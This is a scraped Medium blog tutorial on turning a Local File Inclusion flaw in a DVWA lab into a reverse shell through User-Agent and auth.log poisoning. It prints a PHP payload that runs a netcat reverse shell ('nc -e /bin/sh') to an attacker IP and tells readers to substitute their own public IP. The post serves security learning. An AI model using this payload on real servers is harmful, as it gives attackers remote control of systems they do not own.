From Local File Inclusion to Reverse Shell _ by A3h1nt _ Medium
From Local File Inclusion to Reverse Shell _ by A3h1nt _ Medium
Become a member
Search Write
83 1
File inclusion vulnerabilities are of two types Local File Inclusion(LFI) and
Remote File Inclusion(RFI), but for the sake of this blog, we’ll only talk about
LFI.
Local File Inclusion vulnerability allows the attacker to read system local
files, perform XSS, and can even lead to code execution.
http://www.test.com/?page=something.php
http://www.test.com/?page=something.php
we can see the url is
172.16.177.140/dvwa/vulneribilities/fi/?page=include.php
If we read the output carefully we can see that there’s a field USER_AGENT,
the USER_AGENT is a request header field that contains the information
about the user agent originating the request, what if we can inject something
in this field?
Let’s do it!
Let’s start our Burp proxy , and let’s analyse the request reloading this page
Now let’s replace the data in user agent field with our payload .
<?
passthru(“nc -e /bin/sh 172.16.177.175 69”);
?>
So we are using Netcat to make the target machine connect back to us, with a
shell, just replace the IP with your public IP and port with your desired port
number and you’re good to go.
Here we go !
Now let’s go the that same page , reload and try to find the username we
tried to login with .
Beautiful , now we can confirm that the server is processing our query and
also listing it in the auth.log file , now let’s try to inject our payload using ssh
.
Try to access different files and see which parameter you can change
according to your benefit.
I would like to end this blog by quoting ‘The difference between a noob
and a hacker is that a hacker has failed more than a noob has ever tried”.
Respond
Vivek Kumar
Oct 30, 2021
1 reply Reply
A3h1nt A3h1nt
Lists
Help Status About Careers Press Blog Privacy Terms Text to speech Teams